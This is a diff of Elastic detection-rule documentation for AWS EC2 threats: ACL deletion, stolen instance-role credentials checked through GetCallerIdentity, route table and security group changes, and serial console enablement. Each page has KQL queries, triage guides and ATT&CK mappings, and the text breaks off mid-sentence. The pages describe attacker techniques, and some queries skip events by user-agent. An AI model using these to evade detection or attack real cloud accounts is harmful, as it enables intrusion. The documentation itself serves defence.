+[[prebuilt-rule-8-19-34-aws-ec2-network-access-control-list-deletion]] +=== AWS EC2 Network Access Control List Deletion + +Identifies the deletion of an Amazon Elastic Compute Cloud (EC2) network access control list (ACL) or one of its ingress/egress entries. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/delete-network-acl.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteNetworkAcl.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/delete-network-acl-entry.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteNetworkAclEntry.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 +* Tactic: Defense Evasion +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Network Access Control List Deletion* + + +AWS EC2 Network ACLs are essential for controlling inbound and outbound traffic to subnets, acting as a firewall layer. Adversaries may delete these ACLs to disable security controls, facilitating unauthorized access or data exfiltration. The detection rule monitors AWS CloudTrail logs for successful deletion events of ACLs or their entries, signaling potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the AWS CloudTrail logs to identify the specific user or role associated with the deletion event by examining the user identity information in the logs. +- Check the time and date of the deletion event to determine if it coincides with any other suspicious activities or known maintenance windows. +- Investigate the source IP address and location from which the deletion request was made to assess if it aligns with expected access patterns or if it appears anomalous. +- Examine the AWS account activity around the time of the event to identify any other unusual actions or changes, such as the creation of new resources or modifications to existing ones. +- Assess the impact of the deleted Network ACL or entries by identifying the affected subnets and evaluating the potential exposure or risk to the network. +- Review any recent changes to IAM policies or roles that might have inadvertently granted excessive permissions to users or services, allowing them to delete Network ACLs. + + +*False positive analysis* + + +- Routine maintenance or updates by authorized personnel may trigger deletion events. Verify if the deletion aligns with scheduled maintenance activities and consider excluding these events from alerts. +- Automated scripts or infrastructure-as-code tools like Terraform or CloudFormation might delete and recreate ACLs as part of normal operations. Identify these tools and exclude their actions from triggering alerts. +- Changes in network architecture or security policy updates can lead to legitimate ACL deletions. Document these changes and adjust the detection rule to ignore such planned modifications. +- Ensure that the AWS accounts involved in the deletion events are recognized and trusted. Exclude actions from these accounts if they are part of regular administrative tasks. +- Collaborate with the security team to establish a baseline of normal ACL deletion activities and refine the detection rule to minimize false positives based on this baseline. + + +*Response and remediation* + + +- Immediately isolate the affected subnet to prevent further unauthorized access or data exfiltration. This can be done by applying a restrictive security group or temporarily removing the subnet from the VPC. +- Review AWS CloudTrail logs to identify the source of the deletion event, including the IAM user or role responsible, and assess whether the action was authorized or part of a larger compromise. +- Recreate the deleted Network ACL or its entries using the most recent backup or configuration documentation to restore intended security controls. +- Implement a temporary monitoring solution to track any further unauthorized changes to network ACLs or related security configurations. +- Escalate the incident to the security operations team for a comprehensive investigation to determine the root cause and scope of the breach, including potential lateral movement or data exfiltration. +- Revoke or rotate credentials for any compromised IAM users or roles involved in the deletion event to prevent further unauthorized actions. +- Enhance detection capabilities by configuring alerts for any future unauthorized changes to network ACLs, ensuring rapid response to similar threats. + +==== Setup + + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:(DeleteNetworkAcl or DeleteNetworkAclEntry) and event.outcome:success + and not user_agent.original: (*Terraform* or *Pulumi* or *Ansible*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-role-getcalleridentity-from-new-source-as-organization.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-role-getcalleridentity-from-new-source-as-organization.asciidoc new file mode 100644 index 0000000000..243e2c6e3b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-role-getcalleridentity-from-new-source-as-organization.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-aws-ec2-role-getcalleridentity-from-new-source-as-organization]] +=== AWS EC2 Role GetCallerIdentity from New Source AS Organization + +Identifies the first time an EC2 instance role session calls AWS STS GetCallerIdentity from a given source autonomous system (AS) organization name within the lookback window. Adversaries who steal instance role credentials often verify them with GetCallerIdentity from infrastructure outside your normal egress paths. Baseline learning on the pairing of identity and source network reduces noise from stable NAT or AWS-classified egress compared to alerting on every call from a non-Amazon ASN. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/STS/latest/APIReference/API_GetCallerIdentity.html +* https://detectioninthe.cloud/ttps/discovery/sts_get_caller_identity + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS STS +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS STS +* Service: AWS EC2 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Role GetCallerIdentity from New Source AS Organization* + + +The `GetCallerIdentity` API returns details about the IAM principal owning the credentials. It requires no IAM permissions and is commonly used to validate stolen or exported credentials. + +EC2 instance role sessions appear in CloudTrail as `AssumedRole` with a session identifier matching an instance id (for example, `arn:aws:sts::account:assumed-role/role-name/i-0123456789abcdef0`). This complements the rule **AWS STS GetCallerIdentity API Called for the First Time**, which excludes `AssumedRole`. Here, a **New Terms** condition applies to the combination of `aws.cloudtrail.user_identity.arn` and `source.as.organization.name` over a 10-day history window. The first observation of that pair triggers an alert, which suppresses repeated noise when the same role keeps using the same stable egress AS organization (for example, the same NAT or provider label). + + +*Possible investigation steps* + + +- Confirm the assumed-role ARN and instance id; map the instance to an account, VPC, and expected egress (NAT gateway, IGW, proxy). +- Compare `source.as.organization.name` and `source.ip` to historical CloudTrail for the same role session or role. +- Review `user_agent.original` for tooling inconsistent with the instance (for example, unexpected OS or CLI version). +- Correlate with other alerts from the same `aws.cloudtrail.user_identity.access_key_id` or instance over the prior 48 hours. + + +*False positive analysis* + + +- New instances or roles calling GetCallerIdentity once per new AS label are expected to alert once per new term until the baseline ages in. +- Missing or changing GeoIP enrichment can alter `source.as.organization.name`; ensure the field is populated consistently. + + +*Response and remediation* + + +- If credentials are suspected stolen, revoke the session by stopping the instance, removing the role from the instance profile, or tightening trust and permissions; rotate any long-lived secrets the instance could access. +- Scope follow-on API activity from the same access key id and investigate the initial access vector (SSRF, IMDS abuse, malware). + + +*Additional information* + + +- https://docs.aws.amazon.com/STS/latest/APIReference/API_GetCallerIdentity.html[GetCallerIdentity] + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "sts.amazonaws.com" + and event.action: "GetCallerIdentity" + and event.outcome: "success" + and aws.cloudtrail.user_identity.type: "AssumedRole" + and user.id: *\:i-* + and source.as.organization.name:(* and not (AMAZON* or Amazon* or Google* or "MongoDB, Inc.")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-route-table-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-route-table-created.asciidoc new file mode 100644 index 0000000000..e6db97c175 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-route-table-created.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-aws-ec2-route-table-created]] +=== AWS EC2 Route Table Created + +Identifies when an EC2 Route Table has been created. Route tables can be used by attackers to disrupt network traffic, reroute communications, or maintain persistence in a compromised environment. This is a New Terms rule that detects the first instance of this behavior by a user or role. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.datadoghq.com/security_platform/default_rules/aws-ec2-route-table-modified/ +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateRoute.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateRouteTable + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 +* Tactic: Persistence +* Rule Type: New Terms +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast + +*Version*: 216 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Route Table Created* + + +AWS Route Tables are crucial components in managing network traffic within AWS environments, directing data between subnets and internet gateways. Adversaries may exploit route tables to reroute traffic for data exfiltration or to establish persistence by creating unauthorized routes. The detection rule monitors successful creation events of route tables, flagging potential misuse by correlating specific AWS CloudTrail logs, thus aiding in identifying unauthorized network configuration changes. + + +*Possible investigation steps* + + +- Investigate the AWS account and IAM user or role to determine if the action aligns with expected behavior and permissions. +- Examine the newly created route table's configuration to identify any unauthorized or suspicious routes that could indicate potential misuse or data exfiltration attempts. +- Correlate the event with other network security monitoring data to identify any unusual traffic patterns or anomalies that coincide with the route table creation. +- Assess the environment for any recent changes or incidents that might explain the creation of the route table, such as new deployments or infrastructure modifications. + + +*False positive analysis* + + +- Routine infrastructure updates or deployments may trigger route table creation events. To manage this, establish a baseline of expected behavior during scheduled maintenance windows and exclude these from alerts. +- Automated cloud management tools often create route tables as part of their operations. Identify these tools and create exceptions for their known activities to reduce noise. +- Development and testing environments frequently undergo changes, including the creation of route tables. Consider excluding these environments from alerts or applying a different set of monitoring rules. +- Legitimate changes by authorized personnel can be mistaken for suspicious activity. Implement a process to verify and document authorized changes, allowing for quick exclusion of these events from alerts. +- Multi-account AWS setups might have centralized networking teams that create route tables across accounts. Coordinate with these teams to understand their activities and exclude them from triggering alerts. + + +*Response and remediation* + + +- If unauthorized, remove permissions for related actions from the user or role. You can use the managed https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSDenyAll.html[AWSDenyAll] policy. +- Review the newly created route table and any associated routes to identify unauthorized entries. Remove any routes that are not part of the expected network configuration. +- Conduct a thorough audit of IAM roles and permissions to ensure that only authorized users have the ability to create or modify route tables. Revoke any excessive permissions identified. +- Implement network monitoring to detect unusual traffic patterns that may indicate data exfiltration or other malicious activities. +- Escalate the incident to the security operations team for further investigation and to determine if additional AWS resources have been compromised. +- Review AWS CloudTrail logs for any other suspicious activities around the time of the route table creation to identify potential indicators of compromise. +- Update security policies and procedures to include specific guidelines for monitoring and responding to unauthorized route table modifications, ensuring rapid detection and response in the future. + +==== Setup + + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ec2.amazonaws.com" + and event.action:( + "CreateRoute" or + "CreateRouteTable" + ) + and event.outcome: "success" + and not user_agent.original: (*Terraform* or *Pulumi*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-route-table-modified-or-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-route-table-modified-or-deleted.asciidoc new file mode 100644 index 0000000000..bec308e03e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-route-table-modified-or-deleted.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-34-aws-ec2-route-table-modified-or-deleted]] +=== AWS EC2 Route Table Modified or Deleted + +Identifies AWS CloudTrail events where an EC2 route table or association has been modified or deleted. Route table or association modifications can be used by attackers to disrupt network traffic, reroute communications, or maintain persistence in a compromised environment. This is a New Terms rule that detects the first instance of this behavior by a user or role. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/easttimor/aws-incident-response#network-routing +* https://docs.datadoghq.com/security_platform/default_rules/aws-ec2-route-table-modified/ +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ReplaceRoute.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ReplaceRouteTableAssociation +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteRouteTable.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteRoute.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisassociateRouteTable.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Network Security Monitoring +* Resources: Investigation Guide +* Tactic: Persistence +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 + +*Version*: 214 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS EC2 Route Table Modified or Deleted* + + +This rule detects modifications or deletions of AWS route tables using actions such as `ReplaceRoute`, `ReplaceRouteTableAssociation`, `DeleteRouteTable`, `DeleteRoute`, or `DisassociateRouteTable`. These actions may indicate legitimate administrative activity, but they can also be abused by attackers to disrupt network traffic, reroute communications, or maintain persistence in a compromised environment. + + +*Possible Investigation Steps* + + +- **Review Request Parameters:** + - Check the `aws.cloudtrail.request_parameters` field. The sub-fields may vary depending on the `event.action` (e.g., `routeTableId` for `DeleteRouteTable`, `destinationCidrBlock` for `ReplaceRoute`). + - Validate the affected route table, routes, or associations based on the API call: + - For `ReplaceRoute`: Look for changes in specific routes using `destinationCidrBlock`. + - For `ReplaceRouteTableAssociation`: Review the new association details (e.g., subnet ID). + - For `DeleteRouteTable`: Confirm the `routeTableId` of the deleted table. + - For `DisassociateRouteTable`: Verify the disassociated resources. + +- **Review User Context**: + - **User Identity**: Inspect the `aws.cloudtrail.user_identity.arn` field to determine the user or role initiating the action. Investigate whether this user is authorized to perform these operations. + - **Access Key ID**: Check the `aws.cloudtrail.user_identity.access_key_id` field to identify if the access key used was expected or potentially compromised. + - **Access Patterns**: Validate whether the user or role has a history of performing route table modifications and whether this aligns with their expected responsibilities. + +- **Analyze Request Details**: + - **Action Type**: Verify the specific API call in the `event.action` field (e.g., `ReplaceRoute`, `DeleteRouteTable`) to understand the nature of the modification. + - **Source IP and Geolocation**: Examine the `source.ip` and `source.geo` fields to confirm whether the request originated from a trusted location. Suspicious geolocations or IPs may indicate adversarial activity. + - **User Agent**: Review the `user_agent.original` field to determine the tool used for the request (e.g., AWS CLI, Terraform). Unusual or custom user agents may indicate malicious intent. + +- **Correlate with Other Activity**: + - **Concurrent API Calls**: Look for related API calls (e.g., `CreateRoute`, `AuthorizeSecurityGroupIngress`, or `ModifyInstanceAttribute`) from the same user or IP to detect broader attack patterns. + - **IAM Changes**: Investigate whether any IAM policy updates or privilege escalation attempts preceded this activity. + - **Unusual Volume of Changes**: Check if the user has performed multiple route table modifications or deletions in a short timeframe. + +- **Validate the Intent**: + - **Planned Changes**: Confirm with administrators whether the route table changes were part of a planned update or maintenance activity. + - **Permissions and Justification**: Ensure that the user or role has the least privilege necessary for these actions and that there is a valid reason for modifying the route table. + + +*False Positive Analysis* + + +- **Routine Administration**: Route table modifications are often part of routine administrative tasks, such as creating new routes, updating associations, or removing unused resources. +- **Automation Tools**: Automated workflows, such as those executed by Terraform or CloudFormation, may trigger these events. Verify whether the `user_agent.original` field or source IP matches known automation tools. +- **Maintenance or Scaling**: Confirm whether these actions align with maintenance activities or scaling events (e.g., adding or removing subnets). + + +*Response and Remediation* + + +- **Revoke Unauthorized Permissions**: If unauthorized, remove permissions for related actions from the user or role. You can use the managed https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSDenyAll.html[AWSDenyAll] policy. +- **Restore the Route Table**: + - If critical networking was impacted, restore the route table or reapply previous configurations from backups or Terraform state files. + - Verify connectivity to affected subnets or instances to ensure no disruptions to services. +- **Audit IAM Policies**: + - Limit route table modification permissions to specific trusted users, roles, or automation accounts. + - Implement conditions in IAM policies, such as source IP restrictions, to reduce the risk of unauthorized access. +- **Monitor and Alert**: + - Set up additional alerts for unexpected route table modifications or deletions. + - Use VPC flow logs and CloudTrail to monitor for related suspicious activity. +- **Secure Automation**: Ensure automation tools, such as Terraform or CloudFormation, are configured securely and that their credentials are stored in secure locations like AWS Secrets Manager. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ec2.amazonaws.com" + and event.action:( + "ReplaceRoute" or + "ReplaceRouteTableAssociation" or + "DeleteRouteTable" or + "DeleteRoute" or + "DisassociateRouteTable" + ) + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-security-group-configuration-change.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-security-group-configuration-change.asciidoc new file mode 100644 index 0000000000..a044c3ba90 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-security-group-configuration-change.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-aws-ec2-security-group-configuration-change]] +=== AWS EC2 Security Group Configuration Change + +Identifies a change to an AWS Security Group Configuration. A security group is like a virtual firewall, and modifying configurations may allow unauthorized access. Threat actors may abuse this to establish persistence, exfiltrate data, or pivot in an AWS environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2-security-groups.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 +* Tactic: Defense Evasion +* Tactic: Persistence +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive + +*Version*: 216 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Security Group Configuration Change* + + +This rule identifies any changes to an AWS Security Group, which functions as a virtual firewall controlling inbound and outbound traffic for resources like EC2 instances. Modifications to a security group configuration could expose critical assets to unauthorized access. Threat actors may exploit such changes to establish persistence, exfiltrate data, or pivot within an AWS environment. + + +*Possible Investigation Steps* + + +**Identify the Modified Security Group**: + - **Security Group ID**: Check the `aws.cloudtrail.request_parameters` field to identify the specific security group affected. + - **Rule Changes**: Review `aws.cloudtrail.response_elements` to determine the new rules or configurations, including any added or removed IP ranges, protocol changes, and port specifications. + +**Review User Context**: + - **User Identity**: Inspect the `aws.cloudtrail.user_identity.arn` field to determine which user or role made the modification. Verify if this is an authorized administrator or a potentially compromised account. + - **Access Patterns**: Analyze whether this user regularly interacts with security group configurations or if this event is out of the ordinary for their account. + +**Analyze the Configuration Change**: + - **Egress vs. Ingress**: Determine if the change affected inbound (ingress) or outbound (egress) traffic by reviewing fields like `isEgress` in the `securityGroupRuleSet`. Unauthorized changes to outbound traffic can indicate data exfiltration attempts. + - **IP Ranges and Ports**: Assess any added IP ranges, especially `0.0.0.0/0`, which exposes resources to the internet. Port changes should also be evaluated to ensure only necessary ports are open. + +**Check User Agent and Source IP**: + - **User Agent Analysis**: Examine the `user_agent.original` field to identify the tool or application used, such as `AWS Console` or `Terraform`, which may reveal if the action was automated or manual. + - **Source IP and Geolocation**: Use `source.address` and `source.geo` fields to verify if the IP address and geolocation match expected locations for your organization. Unexpected IPs or regions may indicate unauthorized access. + +**Evaluate for Persistence Indicators**: + - **Repeated Changes**: Investigate if similar changes were recently made across multiple security groups, which may suggest an attempt to maintain or expand access. + - **Permissions Review**: Confirm that the user’s IAM policies are configured to limit changes to security groups only as necessary. + +**Correlate with Other CloudTrail Events**: + - **Cross-Reference Other Security Events**: Look for related actions like `AuthorizeSecurityGroupIngress`, `CreateSecurityGroup`, or `RevokeSecurityGroupIngress` that may indicate additional or preparatory steps for unauthorized access. + - **Monitor for IAM or Network Changes**: Check for IAM modifications, network interface changes, or other configuration updates in the same timeframe to detect broader malicious activities. + + +*False Positive Analysis* + + +- **Routine Security Changes**: Security group modifications may be part of regular infrastructure maintenance. Verify if this action aligns with known, scheduled administrative activities. +- **Automated Configuration Management**: If you are using automated tools like `Terraform` or `CloudFormation`, confirm if the change matches expected configuration drift corrections or deployments. + + +*Response and Remediation* + + +- **Revert Unauthorized Changes**: If unauthorized, revert the security group configuration to its previous state to secure the environment. +- **Restrict Security Group Permissions**: Remove permissions to modify security groups from any compromised or unnecessary accounts to limit future access. +- **Quarantine Affected Resources**: If necessary, isolate any affected instances or resources to prevent further unauthorized activity. +- **Audit IAM and Security Group Policies**: Regularly review permissions related to security groups to ensure least privilege access and prevent excessive access. + + +*Additional Information* + + +For more details on managing AWS Security Groups and best practices, refer to the https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2-security-groups.html[AWS EC2 Security Groups Documentation] and AWS security best practices. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ec2.amazonaws.com" and event.outcome: "success" + and (event.action:( + "AuthorizeSecurityGroupIngress" or + "AuthorizeSecurityGroupEgress" or + "CreateSecurityGroup" or + "ModifySecurityGroupRules" or + "RevokeSecurityGroupEgress" or + "RevokeSecurityGroupIngress") or + (event.action: "ModifyInstanceAttribute" and aws.cloudtrail.flattened.request_parameters.groupSet.items.groupId:*)) + and not user_agent.original: (*Terraform* or *Pulumi* or *Ansible*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-serial-console-access-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-serial-console-access-enabled.asciidoc new file mode 100644 index 0000000000..db2d796f07 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-serial-console-access-enabled.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-aws-ec2-serial-console-access-enabled]] +=== AWS EC2 Serial Console Access Enabled + +Detects when EC2 Serial Console Access is enabled for an AWS account. The EC2 Serial Console provides direct, text-based access to an instance's serial port, bypassing the network layer entirely. While useful for troubleshooting boot issues or network misconfigurations, enabling serial console access in production environments is rare and potentially dangerous. Adversaries may enable this feature to establish an out-of-band communication channel that evades network-based security monitoring, firewalls, and VPC controls. This access method can be used for persistent backdoor access or to interact with compromised instances without triggering network-based detection mechanisms. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_EnableSerialConsoleAccess.html +* https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-serial-console.html +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Serial Console Access Enabled* + + +The EC2 Serial Console provides a direct connection to an instance's serial port, allowing access even when network connectivity is unavailable. This feature operates completely outside the network layer, meaning traffic does not traverse VPCs, security groups, NACLs, or any network-based monitoring tools. Enabling serial console access at the account level is a prerequisite for using this feature on individual instances. + +This rule detects successful `EnableSerialConsoleAccess` API calls, which may indicate an adversary attempting to establish an out-of-band access channel. In most production environments, serial console access should remain disabled unless actively troubleshooting specific issues. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type` to determine who enabled serial console access. + - Verify whether this principal has a legitimate need for troubleshooting access. + +- **Review request context** + - Check `source.ip`, `source.geo`, and `user_agent.original` for anomalous access patterns. + - Determine whether this action occurred during normal business hours or maintenance windows. + +- **Check for follow-on activity** + - Search for `SendSerialConsoleSSHPublicKey` API calls, which indicate actual usage of the serial console. + - Review whether any EC2 instances show serial console sessions after this enablement. + +- **Correlate with other suspicious activity** + - Look for preceding credential theft indicators (e.g., `GetSecretValue`, `CreateAccessKey`). + - Check for other defense evasion actions such as GuardDuty modifications, CloudTrail changes, or security group modifications. + +- **Verify business justification** + - Confirm with the identified user or team whether there was a legitimate troubleshooting need. + - Check for related incident tickets or change requests. + + +*False positive analysis* + + +- **Legitimate troubleshooting** + - Serial console may be enabled temporarily to troubleshoot instances with SSH access issues or boot failures. + - Verify this 